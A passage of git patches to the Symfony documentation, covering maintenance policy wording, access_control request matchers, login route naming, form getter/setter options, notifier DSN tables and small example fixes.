   existing code base, if they are not too invasive, and if merging them into
   higher branches would not lead to complex branch merging.
 
+* **Adding new classes or non private methods**: While working on a bug fix,
+  never introduce new classes or public/protected methods (or global
+  functions).
+
+* **Adding configuration options**: Introducing new configuration options must
+  never allowed.
+
+* **Adding new deprecations**: After a version reaches stability, new
+  deprecations cannot be added anymore.
+
 Anything not explicitly listed above should be done on the next minor or major
 version instead. For instance, the following changes are never accepted in a
 patch version:

From c8d11fa16b0031c801d83b732fcfe7ac33402a0d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 27 Jun 2022 09:00:00 +0200
Subject: [PATCH 1991/5766] Minor tweak

---
 contributing/code/maintenance.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/code/maintenance.rst b/contributing/code/maintenance.rst
index 45ae39c8b12..04740ce8c6e 100644
--- a/contributing/code/maintenance.rst
+++ b/contributing/code/maintenance.rst
@@ -61,7 +61,7 @@ issue):
   never introduce new classes or public/protected methods (or global
   functions).
 
-* **Adding configuration options**: Introducing new configuration options must
+* **Adding configuration options**: Introducing new configuration options is
   never allowed.
 
 * **Adding new deprecations**: After a version reaches stability, new

From 50075b161567f460bbea73c932c1a748dd3c7716 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=B4me=20Deuchnord?= <jerome@deuchnord.fr>
Date: Mon, 27 Jun 2022 15:52:05 +0200
Subject: [PATCH 1992/5766] Fix mistake about the reason of the limitation of
 the timestamp in 32bit systems

---
 reference/forms/types/options/_date_limitation.rst.inc | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/reference/forms/types/options/_date_limitation.rst.inc b/reference/forms/types/options/_date_limitation.rst.inc
index fc9a2731af7..4e5b1be4c87 100644
--- a/reference/forms/types/options/_date_limitation.rst.inc
+++ b/reference/forms/types/options/_date_limitation.rst.inc
@@ -1,7 +1,7 @@
 .. caution::
 
     If ``timestamp`` is used, ``DateType`` is limited to dates between
-    Fri, 13 Dec 1901 20:45:54 GMT and Tue, 19 Jan 2038 03:14:07 GMT on 32bit
-    systems. This is due to a `limitation in PHP itself`_.
+    Fri, 13 Dec 1901 20:45:54 UTC and Tue, 19 Jan 2038 03:14:07 UTC on 32bit
+    systems. This is due to an integer overflow bug in 32bit systems known as the `Year 2038 problem`_.
 
-.. _limitation in PHP itself: https://www.php.net/manual/en/function.date.php#refsect1-function.date-changelog
+.. _Year 2038 problem: https://en.wikipedia.org/wiki/Year_2038_problem

From 3d3f08f13438eb12d9df32020c4686a46740a7b7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 28 Jun 2022 12:46:02 +0200
Subject: [PATCH 1993/5766] Add a versionadded directive

---
 mailer.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index 7c94d2e40e8..0e476113907 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -113,6 +113,11 @@ Sendinblue          ``composer require symfony/sendinblue-mailer``
 MailPace            ``composer require symfony/mailpace-mailer``
 ==================  ==============================================
 
+.. versionadded:: 6.2
+
+    The ``MailPace`` integration was introduced in Symfony 6.2 (in previous
+    Symfony versions it was called ``OhMySMTP``).
+
 Each library includes a :ref:`Symfony Flex recipe <symfony-flex>` that will add
 a configuration example to your ``.env`` file. For example, suppose you want to
 use SendGrid. First, install it:

From 9ed3b062c82098e8cfb14534a1427de6c0be21dc Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 28 Jun 2022 13:39:36 +0200
Subject: [PATCH 1994/5766] [Doctrine] Deprecate the reverse engineering docs

---
 doctrine/reverse_engineering.rst | 115 ++-----------------------------
 1 file changed, 7 insertions(+), 108 deletions(-)

diff --git a/doctrine/reverse_engineering.rst b/doctrine/reverse_engineering.rst
index ddce4050a82..a80d6fa91c0 100644
--- a/doctrine/reverse_engineering.rst
+++ b/doctrine/reverse_engineering.rst
@@ -4,114 +4,13 @@
 How to Generate Entities from an Existing Database
 ==================================================
 
-When starting work on a brand new project that uses a database, two different
-situations can occur. In most cases, the database model is designed
-and built from scratch. Sometimes, however, you'll start with an existing and
-probably unchangeable database model. Fortunately, Doctrine comes with a bunch
-of tools to help generate model classes from your existing database.
+.. caution::
 
-.. note::
+    The ``doctrine:mapping:import`` command used to generate Doctrine entities
+    from existing databases was deprecated by Doctrine in 2019 and it's no
+    longer recommended to use it.
 
-    As the `Doctrine tools documentation`_ says, reverse engineering is a
-    one-time process to get started on a project. Doctrine is able to convert
-    approximately 70-80% of the necessary mapping information based on fields,
-    indexes and foreign key constraints. Doctrine can't discover inverse
-    associations, inheritance types, entities with foreign keys as primary keys
-    or semantical operations on associations such as cascade or lifecycle
-    events. Some additional work on the generated entities will be necessary
-    afterwards to design each to fit your domain model specificities.
+    Instead, you can use the ``make:entity`` command from `Symfony Maker Bundle`_
+    to quickly generate the Doctrine entities of your application.
 
-This tutorial assumes you're using a simple blog application with the following
-two tables: ``blog_post`` and ``blog_comment``. A comment record is linked
-to a post record thanks to a foreign key constraint.
-
-.. code-block:: sql
-
-    CREATE TABLE `blog_post` (
-      `id` bigint(20) NOT NULL AUTO_INCREMENT,
-      `title` varchar(100) COLLATE utf8_unicode_ci NOT NULL,
-      `content` longtext COLLATE utf8_unicode_ci NOT NULL,
-      `created_at` datetime NOT NULL,
-      PRIMARY KEY (`id`)
-    ) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
-
-    CREATE TABLE `blog_comment` (
-      `id` bigint(20) NOT NULL AUTO_INCREMENT,
-      `post_id` bigint(20) NOT NULL,
-      `author` varchar(20) COLLATE utf8_unicode_ci NOT NULL,
-      `content` longtext COLLATE utf8_unicode_ci NOT NULL,
-      `created_at` datetime NOT NULL,
-      PRIMARY KEY (`id`),
-      KEY `blog_comment_post_id_idx` (`post_id`),
-      CONSTRAINT `blog_post_id` FOREIGN KEY (`post_id`) REFERENCES `blog_post` (`id`) ON DELETE CASCADE
-    ) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
-
-Before diving into the recipe, be sure your database connection parameters are
-correctly set up in the ``.env`` file (or ``.env.local`` override file).
-
-The first step towards building entity classes from an existing database
-is to ask Doctrine to introspect the database and generate the corresponding
-metadata files. Metadata files describe the entity class to generate based on
-table fields.
-
-.. code-block:: terminal
-
-    $ php bin/console doctrine:mapping:import "App\Entity" annotation --path=src/Entity
-
-This command line tool asks Doctrine to introspect the database and generate
-new PHP classes with annotation metadata into ``src/Entity``. This generates two
-files: ``BlogPost.php`` and ``BlogComment.php``.
-
-.. tip::
-
-    It's also possible to generate the metadata files into XML or eventually into YAML:
-
-    .. code-block:: terminal
-
-        $ php bin/console doctrine:mapping:import "App\Entity" xml --path=config/doctrine
-
-    In this case, make sure to adapt your mapping configuration accordingly:
-
-    .. code-block:: yaml
-
-        # config/packages/doctrine.yaml
-        doctrine:
-            # ...
-            orm:
-                # ...
-                mappings:
-                    App:
-                        is_bundle: false
-                        type: xml # "yml" is marked as deprecated for doctrine v2.6+ and will be removed in v3
-                        dir: '%kernel.project_dir%/config/doctrine'
-                        prefix: 'App\Entity'
-                        alias: App
-
-Generating the Getters & Setters or PHP Classes
------------------------------------------------
-
-The generated PHP classes now have properties and annotation metadata, but they
-do *not* have any getter or setter methods. If you generated XML or YAML metadata,
-you don't even have the PHP classes!
-
-To generate the missing getter/setter methods (or to *create* the classes if necessary),
-run:
-
-.. code-block:: terminal
-
-    // generates getter/setter methods for all Entities
-    $ php bin/console make:entity --regenerate App
-
-    // generates getter/setter methods for one specific Entity
-    $ php bin/console make:entity --regenerate "App\Entity\Country"
-
-.. note::
-
-    If you want to have a OneToMany relationship, you will need to add
-    it manually into the entity (e.g. add a ``comments`` property to ``BlogPost``)
-    or to the generated XML or YAML files. Add a section on the specific entities
-    for one-to-many defining the ``inversedBy`` and the ``mappedBy`` pieces.
-
-The generated entities are now ready to be used. Have fun!
-
-.. _`Doctrine tools documentation`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/tools.html#reverse-engineering
+.. _`Symfony Maker Bundle`: https://symfony.com/bundles/SymfonyMakerBundle/current/index.html

From f0432c48a4e532aaf28c4baad6d4baa44ae14c58 Mon Sep 17 00:00:00 2001
From: Tristan Pouliquen <tristan.pouliquen@yahoo.fr>
Date: Thu, 16 Dec 2021 18:10:33 +0100
Subject: [PATCH 1995/5766] [Security] Reference the new request_matcher option

---
 security.rst                |  6 ++++++
 security/access_control.rst | 16 ++++++++++++++++
 2 files changed, 22 insertions(+)

diff --git a/security.rst b/security.rst
index afdc6db23c4..5d0ac15e137 100644
--- a/security.rst
+++ b/security.rst
@@ -2119,6 +2119,12 @@ would match ``/admin/foo`` but would also match URLs like ``/foo/admin``.
 
 Each ``access_control`` can also match on IP address, hostname and HTTP methods.
 It can also be used to redirect a user to the ``https`` version of a URL pattern.
+
+.. versionadded:: 6.1
+
+    Since Symfony 6.1, an access control rule can also be directly configured by passing a service
+    implementing `RequestMatcherInterface` through the `request_matcher` option.
+
 See :doc:`/security/access_control`.
 
 .. _security-securing-controller:
diff --git a/security/access_control.rst b/security/access_control.rst
index a19faee19ba..c23212bed8c 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -52,6 +52,9 @@ Take the following ``access_control`` entries as an example:
                 - { path: '^/admin', roles: ROLE_USER_IP, ips: '%env(TRUSTED_IPS)%' }
                 - { path: '^/admin', roles: ROLE_USER_IP, ips: [127.0.0.1, ::1, '%env(TRUSTED_IPS)%'] }
 
+                # Request matchers can be used to define access control rules
+                - { roles: ROLE_USER, request_matcher: App\Security\RequestMatcher\MyRequestMatcher }
+
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
@@ -82,6 +85,9 @@ Take the following ``access_control`` entries as an example:
                     <ip>::1</ip>
                     <ip>%env(TRUSTED_IPS)%</ip>
                 </rule>
+
+                <!-- Request matchers can be used to define access control rules -->
+                <rule role="ROLE_USER" request-matcher="App\Security\RequestMatcher\MyRequestMatcher"/>
             </config>
         </srv:container>
 
@@ -127,8 +133,18 @@ Take the following ``access_control`` entries as an example:
                 ->roles(['ROLE_USER_IP'])
                 ->ips(['127.0.0.1', '::1', '%env(TRUSTED_IPS)%'])
             ;
+
+            // Request matchers can be used to define access control rules
+            $security->accessControl()
+                ->roles(['ROLE_USER'])
+                ->requestMatcher('App\Security\RequestMatcher\MyRequestMatcher')
+            ;
         };
 
+.. versionadded:: 6.1
+
+    Support for access control rule definition based on a RequestMatcher was introduced in Symfony 6.1.
+
 For each incoming request, Symfony will decide which ``access_control``
 to use based on the URI, the client's IP address, the incoming host name,
 and the request method. Remember, the first rule that matches is used, and

From f46f149c577545e3f3312fc0b4fb762b33c282a1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 28 Jun 2022 16:00:27 +0200
Subject: [PATCH 1996/5766] Tweaks

---
 security.rst                |  6 +-----
 security/access_control.rst | 17 +++++++++--------
 2 files changed, 10 insertions(+), 13 deletions(-)

diff --git a/security.rst b/security.rst
index 5b92c8fde89..4f0ee3de4fa 100644
--- a/security.rst
+++ b/security.rst
@@ -2117,11 +2117,7 @@ would match ``/admin/foo`` but would also match URLs like ``/foo/admin``.
 
 Each ``access_control`` can also match on IP address, hostname and HTTP methods.
 It can also be used to redirect a user to the ``https`` version of a URL pattern.
-
-.. versionadded:: 6.1
-
-    Since Symfony 6.1, an access control rule can also be directly configured by passing a service
-    implementing `RequestMatcherInterface` through the `request_matcher` option.
+For more complex needs, you can also use a service implementing ``RequestMatcherInterface``.
 
 See :doc:`/security/access_control`.
 
diff --git a/security/access_control.rst b/security/access_control.rst
index b256e824ceb..e658e2c844e 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -28,7 +28,12 @@ options are used for matching:
 * ``ip`` or ``ips``: netmasks are also supported (can be a comma-separated string)
 * ``port``: an integer
 * ``host``: a regular expression
-* ``methods``: one or many methods
+* ``methods``: one or many HTTP methods
+* ``request_matcher``: a service implementing ``RequestMatcherInterface``
+
+.. versionadded:: 6.1
+
+    The ``request_matcher`` option was introduced in Symfony 6.1.
 
 Take the following ``access_control`` entries as an example:
 
@@ -52,7 +57,7 @@ Take the following ``access_control`` entries as an example:
                 - { path: '^/admin', roles: ROLE_USER_IP, ips: '%env(TRUSTED_IPS)%' }
                 - { path: '^/admin', roles: ROLE_USER_IP, ips: [127.0.0.1, ::1, '%env(TRUSTED_IPS)%'] }
 
-                # Request matchers can be used to define access control rules
+                # for custom matching needs, use a request matcher service
                 - { roles: ROLE_USER, request_matcher: App\Security\RequestMatcher\MyRequestMatcher }
 
     .. code-block:: xml
@@ -86,7 +91,7 @@ Take the following ``access_control`` entries as an example:
                     <ip>%env(TRUSTED_IPS)%</ip>
                 </rule>
 
-                <!-- Request matchers can be used to define access control rules -->
+                <!-- for custom matching needs, use a request matcher service -->
                 <rule role="ROLE_USER" request-matcher="App\Security\RequestMatcher\MyRequestMatcher"/>
             </config>
         </srv:container>
@@ -134,17 +139,13 @@ Take the following ``access_control`` entries as an example:
                 ->ips(['127.0.0.1', '::1', env('TRUSTED_IPS')])
             ;
 
-            // Request matchers can be used to define access control rules
+            // for custom matching needs, use a request matcher service
             $security->accessControl()
                 ->roles(['ROLE_USER'])
                 ->requestMatcher('App\Security\RequestMatcher\MyRequestMatcher')
             ;
         };
 
-.. versionadded:: 6.1
-
-    Support for access control rule definition based on a RequestMatcher was introduced in Symfony 6.1.
-
 For each incoming request, Symfony will decide which ``access_control``
 to use based on the URI, the client's IP address, the incoming host name,
 and the request method. Remember, the first rule that matches is used, and

From bf9e245ea55ed3b0565dc5e58393265ff8374287 Mon Sep 17 00:00:00 2001
From: Issam KHADIRI <khadiri.issam@gmail.com>
Date: Sun, 12 Jun 2022 17:57:21 +0200
Subject: [PATCH 1997/5766] Update questionhelper.rst

hello,

when running the example as it is, a deprecation message is shown (i'm on PHP 8.1.6). the deprecation message says that ``trim(): Passing null to parameter #1 ($string) of type string is deprecated``.
what if we add a normalizer that returns an empty string when the entered value is `null` otherwise returns the user's intial input.  with this suggestion, the example works great
---
 components/console/helpers/questionhelper.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index d6cdb7c67ab..664f1b0d1df 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -384,6 +384,9 @@ You can also use a validator with a hidden question::
         $helper = $this->getHelper('question');
 
         $question = new Question('Please enter your password');
+        $question->setNormalizer(function ($value) {
+            return null === $value ? '' : $value;
+        });
         $question->setValidator(function ($value) {
             if (trim($value) == '') {
                 throw new \Exception('The password cannot be empty');

From a4dd8e2e960bc2b5a2b8129bad1997cf572ab315 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 28 Jun 2022 17:51:34 +0200
Subject: [PATCH 1998/5766] Tweaks

---
 components/console/helpers/questionhelper.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index 664f1b0d1df..e736e288fb4 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -385,10 +385,10 @@ You can also use a validator with a hidden question::
 
         $question = new Question('Please enter your password');
         $question->setNormalizer(function ($value) {
-            return null === $value ? '' : $value;
+            return $value ?? '';
         });
         $question->setValidator(function ($value) {
-            if (trim($value) == '') {
+            if ('' === trim($value)) {
                 throw new \Exception('The password cannot be empty');
             }
 

From 571647d4300db6a91950178c32d2191716a8b323 Mon Sep 17 00:00:00 2001
From: Nic Wortel <nic@nicwortel.nl>
Date: Wed, 29 Jun 2022 19:07:27 +0200
Subject: [PATCH 1999/5766] Document the Requirement constants in routing.rst

---
 routing.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/routing.rst b/routing.rst
index e191152d552..555d1cbd20a 100644
--- a/routing.rst
+++ b/routing.rst
@@ -772,6 +772,12 @@ URL                       Route          Parameters
 ``/blog/my-first-post``   ``blog_show``  ``$slug`` = ``my-first-post``
 ========================  =============  ===============================
 
+.. tip::
+
+    The :class:`Symfony\\Component\\Routing\\Requirement\\Requirement` enum
+    contains a collection of commonly used regular-expression constants such as
+    digits, dates and UUIDs which can be used as route parameter requirements.
+
 .. tip::
 
     Route requirements (and route paths too) can include

From 240aeb519d7b7cdd79febd05e33063512241d34c Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Thu, 30 Jun 2022 09:50:24 +0200
Subject: [PATCH 2000/5766] use a consistent route name for the login form

---
 security.rst | 26 +++++++++++++-------------
 1 file changed, 13 insertions(+), 13 deletions(-)

diff --git a/security.rst b/security.rst
index 5d55d357cd3..7cd752f9cde 100644
--- a/security.rst
+++ b/security.rst
@@ -683,7 +683,7 @@ First, create a controller for the login form:
 
     class LoginController extends AbstractController
     {
-        #[Route('/login', name: 'login')]
+        #[Route('/login', name: 'app_login')]
         public function index(): Response
         {
             return $this->render('login/index.html.twig', [
@@ -706,9 +706,9 @@ Then, enable the form login authenticator using the ``form_login`` setting:
                 main:
                     # ...
                     form_login:
-                        # "login" is the name of the route created previously
-                        login_path: login
-                        check_path: login
+                        # "app_login" is the name of the route created previously
+                        login_path: app_login
+                        check_path: app_login
 
     .. code-block:: xml
 
@@ -725,8 +725,8 @@ Then, enable the form login authenticator using the ``form_login`` setting:
             <config>
                 <!-- ... -->
                 <firewall name="main">
-                    <!-- "login" is the name of the route created previously -->
-                    <form-login login-path="login" check-path="login"/>
+                    <!-- "app_login" is the name of the route created previously -->
+                    <form-login login-path="app_login" check-path="app_login"/>
                 </firewall>
             </config>
         </srv:container>
@@ -741,10 +741,10 @@ Then, enable the form login authenticator using the ``form_login`` setting:
 
             $mainFirewall = $security->firewall('main');
 
-            // "login" is the name of the route created previously
+            // "app_login" is the name of the route created previously
             $mainFirewall->formLogin()
-                ->loginPath('login')
-                ->checkPath('login')
+                ->loginPath('app_login')
+                ->checkPath('app_login')
             ;
         };
 
@@ -767,7 +767,7 @@ Edit the login controller to render the login form:
 
       class LoginController extends AbstractController
       {
-          #[Route('/login', name: 'login')]
+          #[Route('/login', name: 'app_login')]
     -     public function index(): Response
     +     public function index(AuthenticationUtils $authenticationUtils): Response
           {
@@ -805,7 +805,7 @@ Finally, create or update the template:
             <div>{{ error.messageKey|trans(error.messageData, 'security') }}</div>
         {% endif %}
 
-        <form action="{{ path('login') }}" method="post">
+        <form action="{{ path('app_login') }}" method="post">
             <label for="username">Email:</label>
             <input type="text" id="username" name="_username" value="{{ last_username }}"/>
 
@@ -829,7 +829,7 @@ Finally, create or update the template:
 
 The form can look like anything, but it usually follows some conventions:
 
-* The ``<form>`` element sends a ``POST`` request to the ``login`` route, since
+* The ``<form>`` element sends a ``POST`` request to the ``app_login`` route, since
   that's what you configured as the ``check_path`` under the ``form_login`` key in
   ``security.yaml``;
 * The username (or whatever your user's "identifier" is, like an email) field has
@@ -942,7 +942,7 @@ be ``authenticate``:
     {# templates/login/index.html.twig #}
 
     {# ... #}
-    <form action="{{ path('login') }}" method="post">
+    <form action="{{ path('app_login') }}" method="post">
         {# ... the login fields #}
 
         <input type="hidden" name="_csrf_token" value="{{ csrf_token('authenticate') }}">

From be84b5d5889e0035f092a41142912a7e4d9653b1 Mon Sep 17 00:00:00 2001
From: Matthias Pigulla <mp@webfactory.de>
Date: Tue, 28 Jun 2022 21:38:48 +0000
Subject: [PATCH 2001/5766] Add `getter` and `setter` in the section on basic
 form options

---
 reference/forms/types/form.rst | 28 ++++++++++++++++++++++++++++
 1 file changed, 28 insertions(+)

diff --git a/reference/forms/types/form.rst b/reference/forms/types/form.rst
index b38fd5ac5b8..b2314fe8bd2 100644
--- a/reference/forms/types/form.rst
+++ b/reference/forms/types/form.rst
@@ -76,6 +76,20 @@ The actual default value of this option depends on other field options:
 
 .. include:: /reference/forms/types/options/form_attr.rst.inc
 
+``getter``
+~~~~~~~~~~
+
+**type**: ``callable`` **default**: ``null``
+
+When provided, this callable will be invoked to read the value from
+the underlying object that will be used to populate the form field.
+
+More details are available in the section on :doc:`/form/data_mappers`.
+
+.. versionadded:: 5.2
+
+    Form mapping callbacks were added in Symfony 5.2.
+
 .. include:: /reference/forms/types/options/help.rst.inc
 
 .. include:: /reference/forms/types/options/help_attr.rst.inc
@@ -112,6 +126,20 @@ The actual default value of this option depends on other field options:
 
 .. include:: /reference/forms/types/options/required.rst.inc
 
+``setter``
+~~~~~~~~~~
+
+**type**: ``callable`` **default**: ``null``
+
+When provided, this callable will be invoked to map the form value
+back to the underlying object.
+
+More details are available in the section on :doc:`/form/data_mappers`.
+
+.. versionadded:: 5.2
+
+    Form mapping callbacks were added in Symfony 5.2.
+
 .. include:: /reference/forms/types/options/trim.rst.inc
 
 .. include:: /reference/forms/types/options/validation_groups.rst.inc

From 173f2a927fd8fd46936a5beefab2c855b546f19b Mon Sep 17 00:00:00 2001
From: richardmiller <93760858+richardmiller@users.noreply.github.com>
Date: Fri, 1 Jul 2022 15:49:54 +0100
Subject: [PATCH 2002/5766] Add missing colon before code example

---
 service_container/autowiring.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index a63dc85cc2a..a8197845815 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -546,7 +546,7 @@ in the service configuration. You wire up only the difficult arguments,
 Symfony takes care of the rest.
 
 You can also use the ``#[Autowire]`` parameter attribute to instruct the autowiring
-logic about those arguments:
+logic about those arguments::
 
     // src/Service/MessageGenerator.php
     namespace App\Service;

From 8b85a3d216d5cc053d18b3223f0ab910ce326c22 Mon Sep 17 00:00:00 2001
From: mgasmi <mohamed.gasmi.info@gmail.com>
Date: Sun, 3 Jul 2022 16:44:32 +0200
Subject: [PATCH 2003/5766] [Automated Tests] Update phpunit_bridge.rst

update sdn sensitive annotation.
---
 components/phpunit_bridge.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index bfc6eaf0634..934c425d368 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -638,7 +638,7 @@ constraint to test the validity of the email domain::
         }
     }
 
-In order to avoid making a real network connection, add the ``@dns-sensitive``
+In order to avoid making a real network connection, add the ``@group dns-sensitive``
 annotation to the class and use the ``DnsMock::withMockedHosts()`` to configure
 the data you expect to get for the given hosts::
 

From 5b31381485801581255532353c877db458d68803 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 4 Jul 2022 12:46:30 +0200
Subject: [PATCH 2004/5766] Add the versionadded directive

---
 routing.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/routing.rst b/routing.rst
index 555d1cbd20a..6351b5d87d6 100644
--- a/routing.rst
+++ b/routing.rst
@@ -778,6 +778,10 @@ URL                       Route          Parameters
     contains a collection of commonly used regular-expression constants such as
     digits, dates and UUIDs which can be used as route parameter requirements.
 
+    .. versionadded:: 6.1
+
+        The ``Requirement`` enum was introduced in Symfony 6.1.
+
 .. tip::
 
     Route requirements (and route paths too) can include

From f17fe1b645dd297e4f764646fc68c5cef4e584d1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 4 Jul 2022 13:15:36 +0200
Subject: [PATCH 2005/5766] Minor tweak

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index cedfd45c845..1fae29e89d8 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -89,7 +89,7 @@ Sinch           ``symfony/sinch-notifier``            ``sinch://ACCOUNT_ID:AUTH_
 Smsapi          ``symfony/smsapi-notifier``           ``smsapi://TOKEN@default?from=FROM``
 SmsBiuras       ``symfony/sms-biuras-notifier``       ``smsbiuras://UID:API_KEY@default?from=FROM&test_mode=0``
 Smsc            ``symfony/smsc-notifier``             ``smsc://LOGIN:PASSWORD@default?from=FROM``
-SMSFactor       ``symfony/sms-factor-notifier``        ``sms-factor://TOKEN@default?sender=SENDER&push_type=PUSH_TYPE``
+SMSFactor       ``symfony/sms-factor-notifier``       ``sms-factor://TOKEN@default?sender=SENDER&push_type=PUSH_TYPE``
 SpotHit         ``symfony/spot-hit-notifier``         ``spothit://TOKEN@default?from=FROM``
 Telnyx          ``symfony/telnyx-notifier``           ``telnyx://API_KEY@default?from=FROM&messaging_profile_id=MESSAGING_PROFILE_ID``
 TurboSms        ``symfony/turbo-sms-notifier``        ``turbosms://AUTH_TOKEN@default?from=FROM``

From 13ab7f66c8d6537f04b5825ab2296259ad3a42db Mon Sep 17 00:00:00 2001
From: Salavat Sitdikov <sitsalavat@gmail.com>
Date: Tue, 14 Dec 2021 15:29:20 +0300
Subject: [PATCH 2006/5766] Remove Firebase transport from Push

FirebaseTransport supports ChatMessage and not supported by TexterTransport which indicated in Documentation.
---
 notifier.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 59642c4dc51..d015af8e94b 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -356,7 +356,6 @@ integration with these push services:
 ==============  ====================================  =================================================================================
 Service         Package                               DSN
 ==============  ====================================  =================================================================================
-Firebase        ``symfony/firebase-notifier``          ``firebase://USERNAME:PASSWORD@default``
 Expo            ``symfony/expo-notifier``              ``expo://Token@default``
 OneSignal       ``symfony/one-signal-notifier``        ``onesignal://APP_ID:API_KEY@default?defaultRecipientId=DEFAULT_RECIPIENT_ID''``
 ==============  ====================================  =================================================================================

From 4da7162ef424e3243309e1256a582d9dea0ca601 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 4 Jul 2022 16:41:18 +0200
Subject: [PATCH 2007/5766] Minor tweak

---
 deployment.rst | 13 ++++++-------
 1 file changed, 6 insertions(+), 7 deletions(-)

diff --git a/deployment.rst b/deployment.rst
index e3bbea2a2a8..9eb2b653552 100644
--- a/deployment.rst
+++ b/deployment.rst
@@ -166,16 +166,15 @@ most natural in your hosting environment.
 
         $ composer dump-env prod --empty
 
-    Sometimes ``composer`` may not be installed on your hosting environment. Thus you
-    have to install and package Composer related code logic way before deploying.
-    Another way to generate this optimized file is to manually register the built in
-    command `Symfony\\Component\\Dotenv\\Command\\DotenvDumpCommand`
-    and use it:
+    If ``composer`` is not installed on your server, you can generate this optimized
+    file with a command provided by Symfony itself, which you must register in
+    your application before using it:
 
     .. code-block:: yaml
 
-    services:
-        Symfony\Component\Dotenv\Command\DotenvDumpCommand: ~
+        # config/services.yaml
+        services:
+            Symfony\Component\Dotenv\Command\DotenvDumpCommand: ~
 
     .. code-block:: terminal
 

From 13a271189f9d2391674b69ea7db33d120802f6cf Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Sun, 24 Oct 2021 20:33:14 +0200
Subject: [PATCH 2008/5766] [Validator] Add missing option to configs

---
 validation/custom_constraint.rst | 12 ++++++++----
 1 file changed, 8 insertions(+), 4 deletions(-)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 41753fc02c0..7bdfcb362e4 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -43,6 +43,7 @@ First you need to create a Constraint class and extend :class:`Symfony\\Componen
         class ContainsAlphanumeric extends Constraint
         {
             public $message = 'The string "{{ string }}" contains an illegal character: it can only contain letters or numbers.';
+            public $mode = 'strict'; // If the constraint has configuration options, define them as public properties
         }
 
 Add ``@Annotation`` or ``#[\Attribute]`` to the constraint class if you want to
@@ -166,7 +167,7 @@ You can use custom validators like the ones provided by Symfony itself:
             // ...
 
             #[Assert\NotBlank]
-            #[AcmeAssert\ContainsAlphanumeric(options: ['mode' => 'loose'])]
+            #[AcmeAssert\ContainsAlphanumeric(mode: 'loose')]
             protected $name;
 
             // ...
@@ -179,7 +180,8 @@ You can use custom validators like the ones provided by Symfony itself:
             properties:
                 name:
                     - NotBlank: ~
-                    - App\Validator\ContainsAlphanumeric: ~
+                    - App\Validator\ContainsAlphanumeric:
+                        mode: 'loose'
 
     .. code-block:: xml
 
@@ -192,7 +194,9 @@ You can use custom validators like the ones provided by Symfony itself:
             <class name="App\Entity\AcmeEntity">
                 <property name="name">
                     <constraint name="NotBlank"/>
-                    <constraint name="App\Validator\ContainsAlphanumeric"/>
+                    <constraint name="App\Validator\ContainsAlphanumeric">
+                        <option name="mode">loose</option>
+                    </constraint>
                 </property>
             </class>
         </constraint-mapping>
@@ -213,7 +217,7 @@ You can use custom validators like the ones provided by Symfony itself:
             public static function loadValidatorMetadata(ClassMetadata $metadata)
             {
                 $metadata->addPropertyConstraint('name', new NotBlank());
-                $metadata->addPropertyConstraint('name', new ContainsAlphanumeric());
+                $metadata->addPropertyConstraint('name', new ContainsAlphanumeric(['mode' => 'loose']));
             }
         }
 

From 5a3c09fa2f27199dd1fe51a4f74c95077986cade Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 4 Jul 2022 17:55:32 +0200
Subject: [PATCH 2009/5766] [Form] Remove some unnecessary versionadded
 directives

---
 reference/forms/types/form.rst | 8 --------
